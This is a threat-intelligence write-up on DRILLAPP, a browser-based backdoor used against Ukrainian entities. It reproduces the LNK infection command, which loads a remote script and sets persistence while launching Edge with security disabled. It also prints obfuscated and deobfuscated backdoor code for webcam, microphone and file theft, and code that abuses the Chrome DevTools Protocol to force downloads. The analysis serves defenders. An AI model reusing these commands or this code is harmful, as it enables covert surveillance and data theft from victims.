

new backdoor targeting Ukrainian entities with possible links to Laundry Bear

lab52.io/blog/drillapp-new-backdoor-targeting-ukrainian-entities-with-possible-links-to-laundry-bear

3722304989

March 13, 2026

LAB52, the intelligence team at S2 Group, has identified a new campaign targeting Ukrainian entities, attributed to actors linked to Russia. The campaign, observed during February 2026, employs various judicial and charity themed lures to deploy a JavaScript-based backdoor that runs through the Edge browser and has been named DRILLAPP by LAB52. This artifact enables the attacker to carry out several actions on the target, such as uploading and downloading files, using the microphone, or capturing images through the webcam by leveraging the browser's capabilities.

Certain tactics shared with a [Laundry Bear campaign reported by CERT-UA in January](#) have been observed, resulting in the activity being attributed to this group with low confidence. These include the use of charity-themed lures or the hosting of operational artifacts on public text-sharing services.

Two variants of the campaign have been identified, differentiated mainly by their timeline.

First variant

The first identified variant dates back to early February. It uses LNK files that create an HTML file in the temporary folder, which then loads a remote script hosted on pastefy.app. For persistence, the executable copies all files with the .lnk extension to the "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" folder.

```
cmd /c echo ^<!DOCTYPE html^>^<body^>^<script src="https://pastefy.app/f69UjsFE/raw"^>^</script^>^</body^>^</html^> > "%TEMP%\iox.html"
&& copy /Y *.lnk "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" && start msedge --headless-new --user-data-dir="%TEMP%\ETP"
--auto-select-screen-capture-source=true --use-fake-ui-for-media-stream --no-sandbox --disable-user-media-security --disable-web-security
--allow-file-access-from-files "%TEMP%\iox.html" &&start https://short-link.net/ZVMEq
```

Command executed by the LNK file

Next, a URL containing the bait will be displayed. In this first variant, the bait can cover different topics, such as an image related to the installation of Starlink. Bait simulating requests from the Come Back Alive foundation, a Ukrainian charity founded in 2014 and dedicated to supporting the Ukrainian Armed Forces, has also been observed.



Lure displayed with information about the Starlink installation

Finally, the execution of an HTML file is observed through the Microsoft Edge browser, which loads a remote script hosted on pastefy.app. This script is obfuscated using the open-source tool javascript-obfuscator.

```
1 function _0x35146b(_0x5c0af5, _0x3b0908, _0x32652b, _0x190064, _0x491acf){return _0x38db(_0x32652b-0x34c, _0x190064);}function _0x13795d(_0x208db4, _0x4b3fb0, _0xd0bfff3, _0x443309, _0x2bbdf9){return _0x38db(_0x4b3fb0- -0x254, _0x208db4);}function _0x459325(_0x31f15c, _0x59a3cb, _0x2477ce, _0x4a3c13, _0x5f1824){return _0x38db(_0x31f15c- -0x36c, _0x2477ce);}function _0x54d5c3(_0x319701){function _0xdb9129(_0x184e09, _0x48bf9d, _0x1836fb, _0x77dffa, _0x3061fc){return _0x38db(_0x3061fc- -0x48, _0x48bf9d);}function _0x520607(_0x25d748, _0x3e62e9, _0x33c0ad, _0x1ecb89, _0x2c30ba){return _0x38db(_0x33c0ad-0x3de, _0x25d748);}function _0x698351(_0x1f664a, _0x3bacf3, _0x799d8c, _0x4f68af, _0x317abf){return _0x38db(_0x799d8c- -0xb8, _0x1f664a);}const _0x59c4bc= _0x54d5c3();function _0x259eb1(_0x226d24, _0x3b929f, _0x56340f, _0x298287, _0xcc2c0b){return _0x38db(_0xcc2c0b- -0x2da, _0x226d24);}function _0x33a742(_0x5bdf7c, _0x1593d2, _0x711cc0, _0x330529, _0x4820f3){return _0x38db(_0x711cc0-0x265, _0x330529);}while(![]){try(const _0x36370a=parseInt(_0x33a742(0xa91, 0xc28, 0xa55, 'miz', 0xfbf7))/(0x4*0x688+-0x2446+0xa27)+parseInt(_0x33a742(0x919, 0xf1e, 0xd08, 'AEP', 0xd94))/(0xb* -0x2a6+-0x2475+0x755)*(-parseInt(_0x33a742(0x94b, 0xaf8, 0xdbd, 'E6tl', 0xc4e))/(0x1d98+0x137e+-0x2+0x967))+parseInt(_0x520607('AEP', 0xd18, 0xc21, 0x113c, 0x107b))/(0x15a4+0x458+-0x2+-0xcfb)*(-parseInt(_0x698351('0eyS', 0xd3a, 0xb6d, 0xeab, 0xc23))/(0x113+-0x13+-0x111e+0x258c))+parseInt(_0x33a742(0x552, 0x29d, 0x6ea, 'isLa', 0x64e))/(0x22db+0x71*0x3d+-0x3dc2)*(parseInt(_0x259eb1('lSnc', 0xa5d, 0xd26, 0x6da, 0x8e6))/(0x1c98+-0x1+-0x26b0+0xeb*-0xb))+parseInt(_0xdb9129(0x6bc, 'isLa', 0x640, 0xb8d4, 0xb71))/(0x1e87+0x1d6d+-0x24e+0x1a)+parseInt(_0x259eb1('glb', 0x86e, 0x658, 0xd3d, 0x88d))/(0x3b*0x46+-0x11b+0x1*0x19b)+parseInt(_0x259eb1('lBVN', 0x104, 0x6f, 0x768, 0x36c))/(0x1057+0x1601+-0x1+0xa*0x92)*(parseInt(_0x698351('glb', 0x1cb, 0x211, 0x57f, 0xd5))/(0x15d9+0x4f+-0x4b+-0x157*-0x1));if(_0x36370a=== _0x319701)break;else _0x59c4bc['push'](_0x59c4bc['shift']());}catch(_0x49c68d){_0x59c4bc['push'](_0x59c4bc['shift']());}}(_0xf38f, 0x1c4f+-0x1d+-0x117acf+-0x56+-0x5969);function _0x38db(_0x1f5bdf, _0x128cfa){_0x1f5bdf= _0x1f5bdf-(0x23b+-0x1+-0x15e6+-0x11dc);const _0x18668d= _0xf38f();let _0x364912= _0x18668d[_0x1f5bdf];if(_0x38db['xDRSFh']===undefined){var _0xa3b2d=function(_0x85clee){const _0x2d5103='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'+';let _0x345238='';_0x586bc5='', _0x8454df= _0x345238+ _0xa3b2d;for(let _0x1bb64d=0x1+-0xb17+0x9+-0x3b9+0xb26*0x4, _0x4888e6= _0x585fe5, _0x51fa4e=0xf+-0x1c6+0x3*0x281+0xb5*0x1b;_0x585fe5= _0x85clee[_charAt'](_0x51fa4e++);_0x585fe5= _0x1bb64d%(-0x261c+0x7e4+0x1e3c)?_0x4888e6*(-0x7+-0xa9+-0xc9f+0x840)+_0x585fe5:_0x585fe5;_0x1bb64d+=(_0x4bd+0x3+0x18d+-0x17+-0x6+-0x394)?_0x345238+-0x8454df[_charCodeAt'](_0x51fa4e+-0x729+-0x2+-0xe8b+-0x1+-0x43))(-0xd+-0x289+-0x160f*0x1+-0x2*0x56e)!:=0x1+-0x260f+-0x1860+0x5ad*0xb75tring['fromCharCode'](-0x106d*0x2+0x259a+-0x1+0x4773c, _0x4888e6>(-0xc*-0x14c+-0x5*-0x16f+0x3*-0x793)*_0x1bb64d%0x1+-0x43d+0x1f5e+0x3*-0x989));_0x1bb64d= _0x5b7+0x2476+-0x1ebf*0x1{ _0x585fe5= _0x2d5103['indexOf'](_0x585fe5);for(let _0x11f773=0x7+-0xdb+0x24de+0x45+-0x9f, _0x34d6ab= _0x345238['length'];_0x11f773< _0x34d6ab;_0x11f773++){_0x586bc5+=_0'+0'+ _0x345238[_charCodeAt'](_0x11f773)['toString'](-0x2243+-0x1+-0x407+-0x0+-0x426b))['slice'](-0x10c*0x17+-0x2061+0x3877));}return decodeURIComponent(_0x586bc5);}const _0x19b3c6=function(_0x36175a, _0x275e60){let _0x2fc0bd=[];_0x133f7d= -0x22e1+-0xd3+-0x15+0x1192, _0x48281b, _0xe7ce00='';_0x36175a= _0xa3b2d(_0x36175a);let _0x92b2ec;for(_0x92b2ec=0xf99+0x1*0x16d+-0x2*0x883;_0x92b2ec<0x17fa+0xad*0x1d+-0x2a93;_0x92b2ec++){_0x2fc0bd[_0x92b2ec]= _0x92b2ec;for(_0x92b2ec=0x458+-0x1b8+0x610;_0x92b2ec<0x155e+-0x701+0x1d5f;_0x92b2ec++){_0x133f7d=(_0x133f7d+-0x2fc0bd[_0x92b2ec]+_0x275e60[_charCodeAt'](_0x92b2ec+_0x275e60['length']))%(0x1*-0x177e+-0x673*0x5+0x1*0x38bd), _0x48281b= _0x2fc0bd[_0x92b2ec], _0x2fc0bd[_0x92b2ec]= _0x2fc0bd[_0x133f7d], _0x2fc0bd[_0x133f7d]= _0x48281b;_0x92b2ec= -0xd50+0x20c+-0x1370, _0x133f7d=0x3b9+-0x1+-0x1b65+-0x1f1e;for(let _0x278387= -0x12b*0x1d+0x3e2+-0x1df+-0x1;_0x278387< _0x36175a['length'];_0x278387++){_0x92b2ec=(_0x92b2ec+-0xb*0x5c+0x458+-0x2+0xca5))%(0xd+-0x1ec+_0x2233+-0x7+-0x899), _0x133f7d=(_0x133f7d+-0x2fc0bd[_0x92b2ec])%(0x1d22+0x1562+-0x4*0xc61), _0x48281b= _0x2fc0bd[_0x92b2ec], _0x2fc0bd[_0x92b2ec]= _0x2fc0bd[_0x133f7d], _0x2fc0bd[_0x133f7d]= _0x48281b, _0xe7ce00+=String['fromCharCode'](_0x36175a[_charCodeAt'](_0x278387)^_0x2fc0bd[_0x2fc0bd[_0x92b2ec]+_0x2fc0bd
```

Code obfuscated using javascript-obfuscator

The browser is executed in headless mode, enabling a series of parameters such as `--no-sandbox`, `--disable-web-security`, `--allow-file-access-from-files`, `--use-fake-ui-for-media-stream`, `--auto-select-screen-capture-source=true`, and `--disable-user-media-security`. These settings allow local file access and automatically grant permissions for the camera, microphone, and screen capture without user interaction.

Using deobfuscation techniques, it has been possible to partially recover the code of the artifact, which functions as a lightweight backdoor allowing the attacker to access the file system and record audio from the microphone, video from the camera, and the device's screen, all through the browser.

```

790 class StreamApp {
791   constructor() {
792     this.ws = null;
793     this.screen = null;
794     this.camera = null;
795     this.mic = null;
796     this.files = null;
797   }
798   ["setupHandlers"]() {
799     this.ws.on("quality", _0x41244c => this.screen.setQuality(_0x41244c.quality.quality, _0x41244c.quality.fps));
800     this.ws.on("quality_camera", _0x474ead => this.camera.setQuality(_0x474ead.quality.quality, _0x474ead.quality.fps));
801     this.ws.on("camera_start", async () => {
802       await this.camera.start();
803       this.camera.pause();
804     });
805     this.ws.on("camera_resume", () => this.camera.resume());
806     this.ws.on("camera_pause", () => this.camera.pause());
807     this.ws.on("camera_stop", () => this.camera.stop());
808     this.ws.on("mic_start", async () => await this.mic.start());
809     this.ws.on("mic_stop", async () => await this.mic.stop());
810     this.ws.on("mic noise suppression", async _0x3731da => await this.mic.setNoiseSuppression(_0x3731da.enabled));
811     this.ws.on("file_list_request", _0x1b0d0c => this.files.listDir(_0x1b0d0c.path));
812     this.ws.on("file_download", _0x1121a4 => this.files.download(_0x1121a4.path));
813   }

```

Capabilities of the first variant

When executed for the first time, the malware generates a device fingerprint using Canvas Fingerprinting combined with other data such as screen size and system language. These values are hashed to create the fingerprint. This fingerprint is then stored in the "stream_client_id" field within the browser's persistent storage.

```

},
generateFingerprint() {
  let _0x4f5687 = localStorage.getItem(this.STORAGE_KEY);
  if (_0x4f5687) {
    return _0x4f5687;
  }
  const _0x1f08cc = document.createElement("canvas");
  const _0x51c8c0 = _0x1f08cc.getContext('2d');
  _0x51c8c0.textBaseline = "top";
  _0x51c8c0.font = "14px Arial";
  _0x51c8c0.fillStyle = "#f60";
  _0x51c8c0.fillRect(125, 1, 62, 20);
  _0x51c8c0.fillStyle = "#069";
  _0x51c8c0.fillText("Hello, world!", 2, 15);
  const _0x29624d = [_0x1f08cc.toDataURL(), screen.width + 'x' + screen.height + 'x' + screen.colorDepth, navigator.userAgent, navigator.language, new Date().getTimezoneOffset(), navigator.hardwareConcurrency || "unknown", navigator.platform];
  let _0x119413 = 0;
  for (const _0x3e3a14 of _0x29624d.join('|')) {
    _0x119413 = (_0x119413 << 5) - _0x119413 + _0x3e3a14.charCodeAt(0);
    _0x119413 = _0x119413 | 0;
  }
  _0x4f5687 = Math.abs(_0x119413).toString(36).padStart(8, '0').slice(0, 8);
  localStorage.setItem(this.STORAGE_KEY, _0x4f5687);
  return _0x4f5687;
},

```

Device fingerprint generation

This device fingerprint is sent together with the victim's country, which is determined based on the device's time zone. Only the time zones corresponding to the United Kingdom, Russia, Germany, France, China, Japan, the United States, Brazil, India, Ukraine, Canada, Australia, Italy, Spain, and Poland are implemented. In any other case, the system defaults to returning the United States.

```

detectCountry() {
  const _0x157dae = {
    "Europe/London": 'GB',
    "Europe/Moscow": 'RU',
    "Europe/Berlin": 'DE',
    "Europe/Paris": 'FR',
    "Asia/Shanghai": 'CN',
    "Asia/Tokyo": 'JP',
    "America/New_York": 'US',
    "America/Los_Angeles": 'US',
    "America/Sao_Paulo": 'BR',
    "Asia/Kolkata": 'IN',
    "Europe/Kiev": 'UA',
    "America/Toronto": 'CA',
    "Australia/Sydney": 'AU',
    "Europe/Rome": 'IT',
    "Europe/Madrid": 'ES',
    "Europe/Warsaw": 'PL'
  };
  return _0x157dae[Intl.DateTimeFormat().resolvedOptions().timeZone] || 'US';
},

```

Time zones detected by the artifact

The artifact communicates with the command-and-control server through a WebSocket obtained from a URL hosted on pastefy.app, using localhost:8000 as the default value if the URL is unavailable. This default value is expected to be replaced with a real IP address in later versions and is believed to be a debugging trace.

```

const Utils = {
  STORAGE_KEY: "stream_client_id",
  CONFIG_URL: "https://pastefy.app/JgaVNJ12/raw",
  async getWebSocketUrl() {
    try {
      const _0x471563 = await fetch(this.CONFIG_URL);
      let _0x4a5d26 = (await _0x471563.text()).trim();
      if (!_0x4a5d26.endsWith("/ws")) {
        _0x4a5d26 = _0x4a5d26.replace(/\$/ , '') + "/ws";
      }
      return _0x4a5d26;
    } catch {
      return "ws://localhost:8000/ws";
    }
  },
},

```

Retrieval of the WebSocket via pastefy.app

Second variant

The second variant, detected in late February 2026, abandons the use of LNK files and adopts CPL files—Windows Control Panel modules that internally function as executable DLL libraries. Although a change in the deployment method has been observed, this new variant exhibits behavior similar to the first one. The lures used in this case include an image of a weapons seizure report and a report from the Southern Office of the State Audit Service of Ukraine in the Mykolaiv region, which is displayed from the official website of the National Guard of Ukraine.



ДЕРЖАВНА АУДИТОРСЬКА СЛУЖБА УКРАЇНИ
ПІВДЕННИЙ ОФІС ДЕРЖАУДИТСЛУЖБИ
УПРАВЛІННЯ ПІВДЕННОГО ОФІСУ ДЕРЖАУДИТСЛУЖБИ
В МИКОЛАЇВСЬКІЙ ОБЛАСТІ

ДОВІДКА

02 березня 2026 року
м. Миколаїв

№ 08-14-/111-і

**збору інформації в військової частини А2802 з метою дослідження
встановлення достовірності інформації про порушення за заявою про
тендер ID:UA-2026-01-21-018998-а «Зарядна станція для забезпечення
проведення занять з військовослужбовцями на локаціях»**

На підставі направлень на проведення збору інформації від 27.02.2026 № 126, виданих начальником Управління Південного офісу Держаудитслужби в Миколаївській області Яковлевим Д.Т., головним державним аудитором відділу контролю в галузі оборони, в правоохоронних органах та органах влади Управління Південного офісу Держаудитслужби в Миколаївській області Георгіцу О.Г., провести збір інформації відповідно до Закону України «Про запобігання корупції»; Положення про Західний офіс Держаудитслужби, затверджене наказом Держаудитслужби від 02 червня 2016 року №23, наказ Західного офісу Держаудитслужби від 21 жовтня 2024 року №236 «Про затвердження Порядку опрацювання в Західному офісі Держаудитслужби повідомлень про можливі факти корупційних або пов'язаних з корупцією правопорушень, інших порушень Закону України «Про запобігання корупції» Закону України «Про запобігання корупції», наказ Західного офісу Держаудитслужби від 01 березня 2023 року №77 « Про визначення внутрішніх каналів повідомлення про можливі факти корупційних або пов'язаних з

Lure displayed from the Southern Office of the State Audit Service of Ukraine

The backdoor downloaded by the second variant of the campaign implements three new capabilities that allow recursive file listing, batch file uploading, and file downloading from the internet.

```
1046 class StreamApp {
1052   #setupHandlers() {
1053     const _0x5adf35 = {
1060       camera_start: async () => {
1062         this.#camera.pause();
1063       },
1064       camera_resume: () => this.#camera.resume(),
1065       camera_pause: () => this.#camera.pause(),
1066       camera_stop: () => this.#camera.stop(),
1067       mic_start: () => this.#mic.start(),
1068       mic_stop: () => this.#mic.stop(),
1069       mic_noise_suppression: ({
1070         enabled: _0x1559b1
1071       }) => this.#mic.setNoiseSuppression(_0x1559b1),
1072       file_list_request: ({
1073         path: _0x284af6
1074       }) => this.#files.listDir(_0x284af6),
1075       file_download: ({
1076         path: _0x487769,
1077         relativePath: _0x483aef
1078       }) => this.#files.download(_0x487769, _0x483aef),
1079       file_upload: ({
1080         url: _0x26c4e1,
1081         path: _0xb5b4f9
1082       }) => this.#files.uploadFile(_0x26c4e1, _0xb5b4f9),
1083       file_scan_recursive: ({
1084         path: _0x33e93c,
1085         extensions: _0x5e2f2c,
1086         minDepth = 0,
1087         maxDepth = 10
1088       }) => this.#files.scanRecursive(_0x33e93c, _0x5e2f2c, minDepth, maxDepth),
1089       archive_download: ({
1090         files: _0x46e242,
1091         rootPath: _0x439f97
1092       }) => this.#files.downloadFilesForArchive(_0x46e242, _0x439f97)
1093     };
1094     Object.entries(_0x5adf35).forEach(([_0x5ce99c, _0x10627e]) => this.#ws.on(_0x5ce99c, _0x10627e));
1095   }
}
```

Capabilities of the second variant

For security reasons, JavaScript does not allow the remote downloading of files. This is why the attackers use the Chrome DevTools Protocol (CDP), an internal protocol of Chromium-based browsers that can only be used when the `--remote-debugging-port` parameter is enabled.

```
async #setup(_0x3f3b5c) {
  const _0xa85bed = await async function () {
    const _0x5992dc = await fetch("http://127.0.0.1:9222/json/version");
    if (!_0x5992dc.ok) {
      throw new Error("Cannot fetch /json/version: " + _0x5992dc.status);
    }
    return (await _0x5992dc.json()).websocketDebuggerUrl;
  }();
}
```

Use of CDP through debugging port 9222

This is initially used to modify the path where the file will be saved.

```

950         reject: _0x54ec21,
951         method: _0x5f1222
952     };
953     _0x44f527.set(_0xafeb4c, _0x53cf51);
954 });
955 }("Browser.setDownloadBehavior", {
956     behavior: "allow",
957     downloadPath: _0x3f3b5c,
958     eventsEnabled: true
959 });
960 console.log("[ + ] setup -> ok");
961 } catch (_0x966ead) {
962     console.error("setup error:", _0x966ead);
963     throw _0x966ead;
964 }
965

```

Modification of the download folder via CDP

A small script is then injected into the browser, which simulates a user click and downloads the file from the remote server.

```

const _0x2d9b15 = await _0x3cd4c7("Target.attachToTarget", _0x33fb92);
async function _0x4b4a05(_0x3e0e65, _0x40223d = {}) {
    return _0x3cd4c7(_0x3e0e65, _0x40223d, _0xbc0d0b);
}
_0xbc0d0b = _0x2d9b15.sessionId;
await _0x4b4a05("Runtime.enable");
const _0x5dac07 = {
    expression: "\n        (function() {\n            try {\n                var a = document.createElement('a');\n                a.download = ''; \n                a.target = '_blank';\n                a.style.display = 'none';\n                document.body.appendChild(a);\n                a.click();\n                document.body.removeChild(a);\n                return 'OK';\n            } catch (e) {\n                return 'ERR: ' + e.message;\n            }\n        })\n    ",
    returnByValue: true,
    awaitPromise: false
};
const _0x36260b = await _0x4b4a05("Runtime.evaluate", _0x5dac07);
console.log("[ + ] injection result:", _0x36260b);
}

```

Code injection simulating the user click

Early activity

Additionally, a sample dated January 28 and uploaded from Russia has been identified, in which a similar infection chain and set of commands are used. However, in this case, instead of downloading the backdoor, the artifact establishes communication with the website gnome.com, which does not contain any malicious code.

```

System32
cmd.exe
cmd.exe
C:\Windows\System32\cmd.exe
'..\..\..\..\Windows\System32\cmd.exe
cmd /c echo ^<!DOCTYPE html^>^<body^>^<script src="https://gnome.com"^>^</script^>^</body^>^</html^> > "%TEMP%\io.html" && copy /Y "io.lnk"
hnups
Yj,
z~}$3
Yj,
z~}$3

```

Command observed in the PoC

This sample may represent early activity of the campaign and is attributed to the same actor with a high degree of confidence, given its similarity to the samples from the first variant.

Conclusion

The analysis conducted indicates that DRILLAPP is a recent artifact that is still in an early stage of development. One of the most notable aspects is the use of the browser to deploy a backdoor, which suggests that the attackers are exploring new ways to evade detection. The browser is advantageous for this type of activity because it is a common and generally non-suspicious process, it offers extended capabilities accessible through debugging parameters that enable unsafe actions such as downloading remote files, and it provides legitimate access to sensitive resources such as the microphone, camera, or screen recording without triggering immediate alerts.

Intelligence Availability Notice

This article presents selected insights derived from our broader threat intelligence operations and coverage. Additional details related to this campaign, as well as other investigations and ongoing intelligence activities, are enriched and available through our [private intelligence feed](#).

Indicators of Compromise (IOC)

First variant

5b978cdc46afa28d83e532cd19622d9097bebedf87efc4c87bd35d8ffad9e672
6178b1af51057c0bac75a842afff500a8fa3ed957d79a712a6ef089bec7e7a8b
ac60eefc2607216f8126c0b22b6243f3862ef2bb265c585deee0d00a20a436b3
e20831cecd763d0dc91fb39f3bd61d17002608c5a40a6cf0bd16111f4e50d341
ee90b01b16099e0bb23d4653607a3a559590fc8d0c43120b8456fb1860d2e630
32973ef02e10a585a4a0196b013265e29fc57d8e1c50752f7b39e43b9f388715

Second variant

107b2badfc93fcdd3ffda7d3999477ced3f39f43f458dd0f6a424c9ab52681c3
a545908c931ec47884b5ccfb1f112435f5d0cdac140e664673672c9df9016672
352f34ea5cc40e2b3ec056ae60fa19a368dbd42503ef225cb1ca57956eb05e81
c6905bae088982a2b234451b45db742098f2e2ab4fd6ca62c8f4e801160552aa

993d55f60414bf2092f421c3d0ac6af1897a21cc4ea260ae8e610a402bf4c81c
ccb7d999ee4d979e175b8c87e09ccda0cbc93b6140471283e3a1f1f9da33759d
51e86408904c0ca3778361cde746783a0f2b9fd2a6782aa7e062aa597151876e
fb16933b09a4fcca5beff93da05566e924017fb534a2f45caf57b57a633f43a6
2b5d8f8db5fd38ae1c34807dcba35b057cfa61eb14ba3b558f82eb630480c3f
eb9c1649e01db6a9a94d5d50373e54865d672b14ad6f221c98047c562d3cc0f3
8c6ea44ce7f4ed4e4e7e19e11b3b345d58785c93b33aa795ddd1b0d753236b05
66a7828bc8c6c783b2ffa3c906d53f6dae1bbddc019283cc369d7d73247c5181
886df55794cbca146de96dcc626471b3c097a5c20ba488033b24f4347aa20a14
9367f4b4d2775ff47279d143dd9a0ef544ddff81946aab33da9350a49f14e1e1
b891fa118db5190f07b18be46eb9bc10677f9afab1406a7d52ce587522ab3d28
bad7c6f6ca25363a02eaceb3ed1e378218dc4a246a63d723cfcc5feee3af5056
21fetc3913d3d2dfde7f0dff54800ca7512eb5df9513b1a457a2af25fdd51b26
801c47550799831bfb1ac6c5c3fd698be95da19fc85bd65f5d8639f26244d2a9

DRILLAPP

6fea579685d2433cedb1c32ef704575dcbc1d0a623769e824023ffccd0dedaae
76eb713e38f145ee68b89f2febd8f9a28bbb2b464da61cb029d84433a0b2c746

Network indicators

80.89.224[.]13

188.137.228[.]162

hxxps://pastefy[.]app/f69UjsFE/raw

hxxps://pastefy[.]app/nkjTcFw3/raw

hxxps://short-link[.]net/ZVMEq

hxxps://pastefy[.]app/f69UjsFE/raw

hxxps://short-link[.]net/KCVTt

hxxps://iili[.]io/fphPR3b.jpg

hxxps://short-link[.]net/HdviE

hxxps://iili[.]io/q995YYu.jpg

hxxps://pastefy[.]app/nkjTcFw3/raw

hxxps://iili[.]io/q995zhl.jpg

hxxps://iili[.]io/q995IQ2.jpg

hxxps://iili[.]io/qKOFGe4.jpg